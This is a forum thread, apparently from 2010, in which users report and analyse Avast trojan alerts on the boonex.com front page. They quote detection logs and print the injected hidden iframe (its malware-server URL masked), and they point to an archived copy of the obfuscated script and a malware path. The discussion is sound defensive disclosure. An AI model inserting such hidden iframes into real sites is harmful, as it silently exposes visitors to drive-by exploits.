Avast: Trojan Horse Alert @boonex.com
Avast Antivirus has just alerted me to three instances of Trojan Horse at www.boonex.com front page. This is a javascript/iframe/java based exploit placed somewhere into Boonex.com code or templates.
Someone should investigate this immediately. If it's a false positive, it should be reported to Avast for the next virus definition update. (Update: This is a confirmed iframe/trojan exploit, see comments for detail.) If someone else receives an alert, please look at the logs and report the URLs of the affected pages, along with your virus software brand.
Until this is resolved, suggest turning javascript off in your browser, or otherwise being double sure your virus protection and browser choice are up to standard. The exploit itself depends on a Java applet, so turning Java off at boonex.com is a good idea too.
So far Unity seems to be unaffected, while several other areas cause the alerts below.
Avast Report:
16.5.2010 22:59:44 http://www.boonex.com/ [L] HTML:IFrame-NO [Trj] (0)
16.5.2010 22:59:48 http://www.boonex.com/livehelp/include/javascript.php [L] HTML:IFrame-NO [Trj] (0)
16.5.2010 22:59:53 http://www.boonex.com/livehelp/locale/en/images/InitateChat.png [L] HTML:IFrame-NO [Trj] (0)
While the last two are reported, the files themselves don't seem to exist. The only infection I can see is the obfuscated javascript at the bottom of the HTML, creating an iframe that links to a malware server.

And here's an archived version where you can look up the javascript after it (hopefully) gets removed:
http://www.codesatori.com/test/boonex_source.html
<iframe name="uounaqpgwhw" width="1" height="0" src="http://********************" marginwidth="1" marginheight="0" title="uounaqpgwhw" scrolling="no" border="0" frameborder="0"></iframe>
So it's a classic iframe insertion hack there. Now let's patch up those systems!
The URL in the script currently see more
You can see that /phixnew/index.php at the above URL contains some sort of Java applet based exploit, while another URL under the same path is an ActiveX based trojan.
And BeOS is like a cabin in the woods.... No crime to worry about, but then again not much else either. It's very safe however! =)
we have a different plan .. to not allow anyone to control you :)
I like to think this was an automated exploit, but given that it rolled in on Sunday (which is when staff is rarely around here), and given that this site runs on proprietary software, it may also be a targeted exploit attempt.
